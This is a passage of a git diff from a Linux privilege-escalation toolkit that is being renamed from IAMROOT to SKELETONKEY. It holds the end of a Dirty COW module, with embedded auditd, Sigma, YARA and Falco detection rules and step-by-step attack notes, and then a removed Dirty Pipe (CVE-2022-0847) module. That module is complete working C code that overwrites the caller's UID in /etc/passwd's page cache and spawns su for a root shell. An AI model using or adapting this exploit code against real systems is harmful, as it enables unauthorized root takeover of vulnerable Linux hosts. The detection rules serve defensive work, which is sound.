"(/proc/self/mem + madvise race) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] dirty_cow: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Embedded detection rules ---- */
|
||||
|
||||
static const char dirty_cow_auditd[] =
|
||||
"# Dirty COW (CVE-2016-5195) — auditd detection rules\n"
|
||||
"# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
|
||||
"# False-positive surface: debuggers, gdb, strace — all legit users of\n"
|
||||
"# /proc/self/mem. Combine with the file watches below to triangulate.\n"
|
||||
"-w /proc/self/mem -p wa -k skeletonkey-dirty-cow\n"
|
||||
"-w /etc/passwd -p wa -k skeletonkey-dirty-cow\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-dirty-cow\n"
|
||||
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k skeletonkey-dirty-cow-madv\n";
|
||||
|
||||
static const char dirty_cow_sigma[] =
|
||||
"title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
|
||||
"id: 1e2c5d8f-skeletonkey-dirty-cow\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
|
||||
" by non-root processes (the exploit's two-thread primitive). False\n"
|
||||
" positives: GDB, strace, some JIT debuggers. Correlate with a\n"
|
||||
" subsequent UID change on a previously-non-root process for high\n"
|
||||
" confidence.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" mem_open:\n"
|
||||
" type: 'PATH'\n"
|
||||
" name: '/proc/self/mem'\n"
|
||||
" not_root: {auid|expression: '!= 0'}\n"
|
||||
" condition: mem_open and not_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
|
||||
|
||||
static const char dirty_cow_yara[] =
|
||||
"rule dirty_cow_cve_2016_5195 : cve_2016_5195 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2016-5195\"\n"
|
||||
" description = \"Dirty COW /etc/passwd UID-flip pattern (non-root user remapped to 0000+)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n";
|
||||
|
||||
static const char dirty_cow_falco[] =
|
||||
"- rule: Dirty COW pwrite on /proc/self/mem by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root pwrite() targeting /proc/self/mem at an offset that\n"
|
||||
" overlaps a private mmap of /etc/passwd. Combined with a\n"
|
||||
" racing madvise(MADV_DONTNEED) loop this is the Dirty COW\n"
|
||||
" primitive (CVE-2016-5195).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = pwrite and fd.name = /proc/self/mem and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" pwrite to /proc/self/mem by non-root\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2016.5195]\n";
|
||||
|
||||
const struct skeletonkey_module dirty_cow_module = {
|
||||
.name = "dirty_cow",
|
||||
.cve = "CVE-2016-5195",
|
||||
.summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
|
||||
.family = "dirty_cow",
|
||||
.kernel_range = "2.6.22 ≤ K, fixed mainline 4.9; many LTS backports (RHEL 7 / Ubuntu 14.04 / Ubuntu 16.04 era)",
|
||||
.detect = dirty_cow_detect,
|
||||
.exploit = dirty_cow_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; no easy runtime knob */
|
||||
.cleanup = dirty_cow_cleanup,
|
||||
.detect_auditd = dirty_cow_auditd,
|
||||
.detect_sigma = dirty_cow_sigma,
|
||||
.detect_yara = dirty_cow_yara,
|
||||
.detect_falco = dirty_cow_falco,
|
||||
.opsec_notes = "Two-thread race: Thread A loops write(/proc/self/mem) at root's password-field offset in /etc/passwd; Thread B loops madvise(MADV_DONTNEED) on a PRIVATE mmap of /etc/passwd. Overwrites root's password field with a known crypt hash (clobbers into following lines transiently), authenticates as root over a pty via su, plants a root-owned proof + setuid bash under /tmp, then reverts by racing the original bytes back through the same primitive (no root / no drop_caches — nothing persists). Offset parsed from the file, not hardcoded. Root judged only by the out-of-band artifact. Audit-visible via open(/proc/self/mem) + write + madvise(MADV_DONTNEED) bursts + /etc/passwd page-cache poisoning, then su spawning as root. cleanup() re-reverts idempotently and removes the /tmp artifacts.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_dirty_cow(void)
|
||||
{
|
||||
skeletonkey_register(&dirty_cow_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* dirty_cow_cve_2016_5195 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_COW_SKELETONKEY_MODULES_H
|
||||
#define DIRTY_COW_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module dirty_cow_module;
|
||||
|
||||
#endif
|
||||
@@ -25,7 +25,7 @@ by them.
|
||||
|
||||
Even in 2026, many production deployments still run vulnerable
|
||||
kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe
|
||||
makes IAMROOT useful as a "historical sweep" tool on long-tail
|
||||
makes SKELETONKEY useful as a "historical sweep" tool on long-tail
|
||||
systems.
|
||||
|
||||
## Implementation plan
|
||||
@@ -34,8 +34,8 @@ systems.
|
||||
`NOTICE.md` when implemented)
|
||||
- `detect()`: kernel version check + `/proc/version` parse + test
|
||||
for fixed-version backports
|
||||
- `exploit()`: writes `iamroot::0:0:dirtypipe:/:/bin/bash` into
|
||||
`/etc/passwd`, then `su iamroot` — same shape as copy_fail's
|
||||
- `exploit()`: writes `skeletonkey::0:0:dirtypipe:/:/bin/bash` into
|
||||
`/etc/passwd`, then `su skeletonkey` — same shape as copy_fail's
|
||||
backdoor mode
|
||||
- Detection rules: auditd on splice() calls + pipe write patterns,
|
||||
filesystem audit on `/etc/passwd` modification by non-root
|
||||
@@ -44,4 +44,4 @@ systems.
|
||||
|
||||
Pick this up after Phase 1 (module-interface refactor of the
|
||||
copy_fail family) so this module can use the standard
|
||||
`iamroot_module` shape from the start.
|
||||
`skeletonkey_module` shape from the start.
|
||||
|
||||
@@ -13,7 +13,7 @@ Original advisory: <https://dirtypipe.cm4all.com/>
|
||||
|
||||
Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022).
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
This module bundles the canonical splice-into-pipe primitive that
|
||||
writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell
|
||||
|
||||
@@ -13,14 +13,14 @@
|
||||
# Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for
|
||||
# any modification by non-root — the Dirty Pipe payload typically
|
||||
# overwrites these to gain root.
|
||||
-w /etc/passwd -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/shadow -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/sudoers -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/passwd -p wa -k skeletonkey-dirty-pipe
|
||||
-w /etc/shadow -p wa -k skeletonkey-dirty-pipe
|
||||
-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe
|
||||
-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe
|
||||
|
||||
# Watch every splice() syscall — combined with the file watches above
|
||||
# this catches the canonical exploit shape. (High volume on servers
|
||||
# using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to
|
||||
# exclude web servers.)
|
||||
-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice
|
||||
-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice
|
||||
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice
|
||||
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
title: Possible Dirty Pipe exploitation (CVE-2022-0847)
|
||||
id: f6b13c08-iamroot-dirty-pipe
|
||||
id: f6b13c08-skeletonkey-dirty-pipe
|
||||
status: experimental
|
||||
description: |
|
||||
Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers,
|
||||
@@ -10,7 +10,7 @@ description: |
|
||||
references:
|
||||
- https://dirtypipe.cm4all.com/
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-0847
|
||||
author: IAMROOT
|
||||
author: SKELETONKEY
|
||||
date: 2026/05/16
|
||||
logsource:
|
||||
product: linux
|
||||
|
||||
@@ -1,457 +0,0 @@
|
||||
/*
|
||||
* dirty_pipe_cve_2022_0847 — IAMROOT module
|
||||
*
|
||||
* Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
|
||||
* commit (the C code is well-understood — Max Kellermann's public PoC
|
||||
* is the reference — but landing it under the iamroot_module
|
||||
* interface needs the shared passwd-field/exploit-su helpers in core/
|
||||
* which are deferred to Phase 1.5).
|
||||
*
|
||||
* Affected kernel ranges:
|
||||
* 5.8 ≤ K < 5.17 (mainline fix at 5.17, commit 9d2231c5d74e)
|
||||
* 5.15.x: K ≤ 5.15.24 (fixed in 5.15.25)
|
||||
* 5.10.x: K ≤ 5.10.101 (fixed in 5.10.102)
|
||||
* 5.4.x : not affected (bug introduced in 5.8)
|
||||
*
|
||||
* Detect logic:
|
||||
* - Parse uname() release into major.minor.patch
|
||||
* - If kernel < 5.8 → IAMROOT_OK (bug not introduced yet)
|
||||
* - If kernel is on a branch with a known backport, compare patch
|
||||
* level (above threshold = patched, below = vulnerable)
|
||||
* - If kernel >= 5.17 → IAMROOT_OK (mainline fix)
|
||||
* - Otherwise → IAMROOT_VULNERABLE
|
||||
*
|
||||
* Edge case: distros sometimes ship custom-numbered kernels (e.g.
|
||||
* Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
|
||||
* counter, NOT the upstream patch level). For now we treat that as
|
||||
* an unknown distro backport and report IAMROOT_TEST_ERROR with a
|
||||
* hint. A future enhancement: parse /proc/version's full string
|
||||
* which usually includes the upstream patch level after the distro
|
||||
* suffix.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||
* redefine here (warning: redefined). */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/mman.h>
|
||||
#include <pwd.h>
|
||||
|
||||
/* ---- Dirty Pipe primitive ---------------------------------------- */
|
||||
|
||||
/* Fill the pipe to the brim, then drain — the kernel marks every
|
||||
* pipe_buffer slot with PIPE_BUF_FLAG_CAN_MERGE during the fill, and
|
||||
* the bug is that this flag SURVIVES the drain. So when we splice() a
|
||||
* file page in next, the slot inherits the merge flag and any
|
||||
* subsequent write() to the pipe lands in the file's page cache. */
|
||||
static int prepare_pipe(int p[2])
|
||||
{
|
||||
if (pipe(p) < 0) return -1;
|
||||
int pipe_size = fcntl(p[1], F_GETPIPE_SZ);
|
||||
if (pipe_size < 0) pipe_size = 65536;
|
||||
static char buf[4096];
|
||||
for (int r = pipe_size; r > 0;) {
|
||||
int n = r > (int)sizeof(buf) ? (int)sizeof(buf) : r;
|
||||
ssize_t w = write(p[1], buf, n);
|
||||
if (w < 0) return -1;
|
||||
r -= w;
|
||||
}
|
||||
for (int r = pipe_size; r > 0;) {
|
||||
int n = r > (int)sizeof(buf) ? (int)sizeof(buf) : r;
|
||||
ssize_t rd = read(p[0], buf, n);
|
||||
if (rd < 0) return -1;
|
||||
r -= rd;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Write `data_len` bytes into the page cache of `target_path` starting
|
||||
* at byte `offset`. Constraints:
|
||||
* - offset must not be page-aligned (Dirty Pipe needs the splice's
|
||||
* 1-byte at offset-1 to land in the same page as our write)
|
||||
* - data_len must fit in the page containing `offset`
|
||||
* - target_path must be readable by the caller
|
||||
* - target_path's file size must extend past `offset + data_len`
|
||||
* (Dirty Pipe can't extend files). */
|
||||
static int dirty_pipe_write(const char *target_path, off_t offset,
|
||||
const char *data, size_t data_len)
|
||||
{
|
||||
if ((offset & 0xfff) == 0) {
|
||||
fprintf(stderr, "[-] dirty_pipe_write: offset is page-aligned; refuse\n");
|
||||
return -1;
|
||||
}
|
||||
size_t in_page = 4096 - (offset & 0xfff);
|
||||
if (data_len > in_page) {
|
||||
fprintf(stderr, "[-] dirty_pipe_write: writes cannot cross page boundary "
|
||||
"(have %zu, fits %zu)\n", data_len, in_page);
|
||||
return -1;
|
||||
}
|
||||
int fd = open(target_path, O_RDONLY);
|
||||
if (fd < 0) { perror("open target"); return -1; }
|
||||
|
||||
int p[2];
|
||||
if (prepare_pipe(p) < 0) { close(fd); return -1; }
|
||||
|
||||
/* splice 1 byte from `offset - 1` to seed the pipe slot with the
|
||||
* file's page (and inherit the stale CAN_MERGE flag). */
|
||||
off_t splice_off = offset - 1;
|
||||
ssize_t n = splice(fd, &splice_off, p[1], NULL, 1, 0);
|
||||
if (n != 1) {
|
||||
fprintf(stderr, "[-] splice failed (n=%zd, errno=%d)\n", n, errno);
|
||||
close(fd); close(p[0]); close(p[1]); return -1;
|
||||
}
|
||||
|
||||
/* Now write our payload. The kernel merges it into the file page. */
|
||||
ssize_t w = write(p[1], data, data_len);
|
||||
|
||||
close(fd); close(p[0]); close(p[1]);
|
||||
return (w == (ssize_t)data_len) ? 0 : -1;
|
||||
}
|
||||
|
||||
/* ---- /etc/passwd UID-field helpers (inlined; would migrate to
|
||||
* core/host.{c,h} once a third module needs them). ------------ */
|
||||
|
||||
/* Locate the UID field of `username` in /etc/passwd. Returns true on
|
||||
* success and fills *uid_off (byte offset of UID), *uid_len (length
|
||||
* of UID string), uid_str (copy of UID, NUL-terminated). Requires
|
||||
* the UID to be a positive decimal number that fits in 16 bytes. */
|
||||
static bool find_passwd_uid_field(const char *username,
|
||||
off_t *uid_off, size_t *uid_len,
|
||||
char uid_str[16])
|
||||
{
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd < 0) return false;
|
||||
struct stat st;
|
||||
if (fstat(fd, &st) < 0) { close(fd); return false; }
|
||||
char *buf = malloc(st.st_size + 1);
|
||||
if (!buf) { close(fd); return false; }
|
||||
ssize_t r = read(fd, buf, st.st_size);
|
||||
close(fd);
|
||||
if (r != st.st_size) { free(buf); return false; }
|
||||
buf[st.st_size] = 0;
|
||||
|
||||
/* find line "username:x:UID:GID:..." */
|
||||
size_t ulen = strlen(username);
|
||||
char *p = buf;
|
||||
while (p < buf + st.st_size) {
|
||||
char *eol = strchr(p, '\n');
|
||||
if (!eol) eol = buf + st.st_size;
|
||||
if (strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
|
||||
/* Skip past "username:" then password field */
|
||||
char *q = p + ulen + 1;
|
||||
char *pw_end = memchr(q, ':', eol - q);
|
||||
if (!pw_end) goto next;
|
||||
char *uid_begin = pw_end + 1;
|
||||
char *uid_end = memchr(uid_begin, ':', eol - uid_begin);
|
||||
if (!uid_end) goto next;
|
||||
size_t L = uid_end - uid_begin;
|
||||
if (L == 0 || L >= 16) goto next;
|
||||
memcpy(uid_str, uid_begin, L);
|
||||
uid_str[L] = 0;
|
||||
*uid_off = (off_t)(uid_begin - buf);
|
||||
*uid_len = L;
|
||||
free(buf);
|
||||
return true;
|
||||
}
|
||||
next:
|
||||
p = eol + 1;
|
||||
}
|
||||
free(buf);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Evict /etc/passwd from page cache after exploitation. POSIX_FADV_DONTNEED
|
||||
* works as a non-root hint; if it doesn't take, try `drop_caches` which
|
||||
* requires root (which we just acquired). */
|
||||
static void revert_passwd_page_cache(void)
|
||||
{
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
||||
close(fd);
|
||||
}
|
||||
/* Belt-and-suspenders: drop_caches=3 wipes all page cache. Best-effort. */
|
||||
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
|
||||
if (dc >= 0) {
|
||||
if (write(dc, "3\n", 2) < 0) { /* ignore */ }
|
||||
close(dc);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* The bug exists on every kernel from 5.8 (introduction) until the
|
||||
* fix is backported to that branch. We model "patched" as:
|
||||
* - on the 5.10 branch: 5.10.102 or later
|
||||
* - on the 5.15 branch: 5.15.25 or later
|
||||
* - any kernel 5.16 or later (mainline fix landed for 5.17, so 5.16
|
||||
* only needs 5.16.11 or later; 5.17+ inherits)
|
||||
* - mainline (≥ 5.17) is patched
|
||||
*/
|
||||
static const struct kernel_patched_from dirty_pipe_patched_branches[] = {
|
||||
{5, 10, 102}, /* 5.10.x backport */
|
||||
{5, 15, 25}, /* 5.15.x backport */
|
||||
{5, 16, 11}, /* 5.16.x backport (mainline fix lived here briefly) */
|
||||
{5, 17, 0}, /* mainline fix lands; everything from here is fine */
|
||||
};
|
||||
|
||||
static const struct kernel_range dirty_pipe_range = {
|
||||
.patched_from = dirty_pipe_patched_branches,
|
||||
.n_patched_from = sizeof(dirty_pipe_patched_branches) /
|
||||
sizeof(dirty_pipe_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* Active sentinel probe: write a known byte into a /tmp probe file
|
||||
* via the Dirty Pipe primitive, then re-read to verify the page cache
|
||||
* was actually poisoned. This catches the case where /proc/version
|
||||
* looks vulnerable (e.g. Debian 5.10.0-30 — apparent version 5.10.30)
|
||||
* but the distro silently backported the fix without bumping the
|
||||
* upstream version number visible to uname().
|
||||
*
|
||||
* Side effects: creates and removes a single file under /tmp. No
|
||||
* /etc/passwd writes; safe to run from --scan --active. */
|
||||
static int dirty_pipe_active_probe(void)
|
||||
{
|
||||
char probe_path[] = "/tmp/iamroot-dirty-pipe-probe-XXXXXX";
|
||||
int fd = mkstemp(probe_path);
|
||||
if (fd < 0) return -1;
|
||||
const char seed[16] = "ABCDABCDABCDABCD";
|
||||
if (write(fd, seed, sizeof seed) != sizeof seed) { close(fd); unlink(probe_path); return -1; }
|
||||
fsync(fd);
|
||||
close(fd);
|
||||
|
||||
/* Try writing 'X' at offset 4 — well inside the first page, not
|
||||
* page-aligned (offset 4 → page-relative offset 4, not 0). */
|
||||
int rc = dirty_pipe_write(probe_path, 4, "X", 1);
|
||||
if (rc < 0) {
|
||||
unlink(probe_path);
|
||||
return 0; /* primitive could not even fire — patched or blocked */
|
||||
}
|
||||
|
||||
/* Re-open and read; if the primitive works, byte 4 reads as 'X'.
|
||||
* Use O_RDONLY + read, which goes through the page cache (which
|
||||
* we just poisoned if the bug is live). */
|
||||
fd = open(probe_path, O_RDONLY);
|
||||
if (fd < 0) { unlink(probe_path); return -1; }
|
||||
char readback[16] = {0};
|
||||
ssize_t got = read(fd, readback, sizeof readback);
|
||||
close(fd);
|
||||
unlink(probe_path);
|
||||
if (got < 5) return -1;
|
||||
return readback[4] == 'X' ? 1 : 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.8. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 8)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
|
||||
v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
}
|
||||
|
||||
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
|
||||
|
||||
/* Active probe overrides version-only verdict when requested.
|
||||
* The version check is necessary-but-not-sufficient: distros
|
||||
* silently backport fixes without bumping the upstream version
|
||||
* visible to uname(). The active probe fires the actual primitive
|
||||
* and confirms whether it lands. */
|
||||
if (ctx->active_probe) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_pipe: running active sentinel probe (safe; /tmp only)\n");
|
||||
}
|
||||
int probe = dirty_pipe_active_probe();
|
||||
if (probe == 1) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
|
||||
"(version %s)\n", v.release);
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
}
|
||||
if (probe == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_pipe: active probe sentinel did NOT land — "
|
||||
"primitive blocked (likely patched%s)\n",
|
||||
patched_by_version ? "" : ", or distro silently backported");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
}
|
||||
/* probe < 0: probe machinery failed (mkstemp/open/read) — fall
|
||||
* back to version-only verdict and report TEST_ERROR caveat */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] dirty_pipe: active probe machinery failed; "
|
||||
"falling back to version check\n");
|
||||
}
|
||||
}
|
||||
|
||||
if (patched_by_version) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
|
||||
"use --active to confirm empirically)\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
|
||||
" Confirm empirically: re-run with --scan --active\n",
|
||||
v.release);
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
/* Re-confirm vulnerability before writing to /etc/passwd. */
|
||||
iamroot_result_t pre = dirty_pipe_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* Resolve current user. */
|
||||
uid_t euid = geteuid();
|
||||
struct passwd *pw = getpwuid(euid);
|
||||
if (!pw) {
|
||||
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
if (euid == 0) {
|
||||
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
}
|
||||
|
||||
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
|
||||
* with "0000" of identical width. Refuse if the user's UID width
|
||||
* doesn't fit our replacement string. */
|
||||
off_t uid_off;
|
||||
size_t uid_len;
|
||||
char orig_uid[16] = {0};
|
||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
||||
fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
|
||||
pw->pw_name);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
||||
pw->pw_name, orig_uid, (long long)uid_off, uid_len);
|
||||
}
|
||||
|
||||
/* Build replacement: zeros of the same length so we don't shift
|
||||
* the line layout. "0000" for a 4-digit UID, "00000" for 5, etc. */
|
||||
char replacement[16];
|
||||
memset(replacement, '0', uid_len);
|
||||
replacement[uid_len] = 0;
|
||||
|
||||
/* Edge case: if offset is page-aligned, splice/CAN_MERGE primitive
|
||||
* can't reach it (see prepare_pipe/dirty_pipe_write comments).
|
||||
* Vanishingly rare — first user in /etc/passwd typically lives
|
||||
* far past the file's first 4096 bytes. Refuse cleanly. */
|
||||
if ((uid_off & 0xfff) == 0) {
|
||||
fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_pipe: overwriting UID '%s' → '%s' via page-cache write\n",
|
||||
orig_uid, replacement);
|
||||
}
|
||||
if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
|
||||
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
|
||||
"[i] dirty_pipe: revert with `iamroot --cleanup dirty_pipe`\n");
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
/* /etc/passwd now reports our user as uid 0 (in the page cache).
|
||||
* `su` reads the page cache, sees uid 0, drops a root shell. */
|
||||
fprintf(stderr, "[+] dirty_pipe: page cache poisoned; spawning su to claim root\n");
|
||||
fflush(NULL);
|
||||
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
|
||||
/* If execlp returns, su didn't actually pop root — revert and report. */
|
||||
perror("execlp(su)");
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_pipe_cleanup(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
|
||||
}
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_OK;
|
||||
}
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained so
|
||||
* `iamroot --detect-rules --format=auditd` works without a separate
|
||||
* data-dir install. */
|
||||
static const char dirty_pipe_auditd[] =
|
||||
"# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
|
||||
"# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
|
||||
"-w /etc/passwd -p wa -k iamroot-dirty-pipe\n"
|
||||
"-w /etc/shadow -p wa -k iamroot-dirty-pipe\n"
|
||||
"-w /etc/sudoers -p wa -k iamroot-dirty-pipe\n"
|
||||
"-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe\n"
|
||||
"-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice\n";
|
||||
|
||||
static const char dirty_pipe_sigma[] =
|
||||
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
|
||||
"id: f6b13c08-iamroot-dirty-pipe\n"
|
||||
"status: experimental\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" modification:\n"
|
||||
" type: 'PATH'\n"
|
||||
" name|startswith: ['/etc/passwd', '/etc/shadow', '/etc/sudoers']\n"
|
||||
" not_root:\n"
|
||||
" auid|expression: '!= 0'\n"
|
||||
" condition: modification and not_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
|
||||
|
||||
const struct iamroot_module dirty_pipe_module = {
|
||||
.name = "dirty_pipe",
|
||||
.cve = "CVE-2022-0847",
|
||||
.summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
|
||||
.family = "dirty_pipe",
|
||||
.kernel_range = "5.8 ≤ K, fixed mainline 5.17, backports: 5.10.102 / 5.15.25 / 5.16.11",
|
||||
.detect = dirty_pipe_detect,
|
||||
.exploit = dirty_pipe_exploit,
|
||||
.mitigate = NULL,
|
||||
.cleanup = dirty_pipe_cleanup,
|
||||
.detect_auditd = dirty_pipe_auditd,
|
||||
.detect_sigma = dirty_pipe_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_dirty_pipe(void)
|
||||
{
|
||||
iamroot_register(&dirty_pipe_module);
|
||||
}
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* dirty_pipe_cve_2022_0847 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_PIPE_IAMROOT_MODULES_H
|
||||
#define DIRTY_PIPE_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module dirty_pipe_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,613 @@
|
||||
/*
|
||||
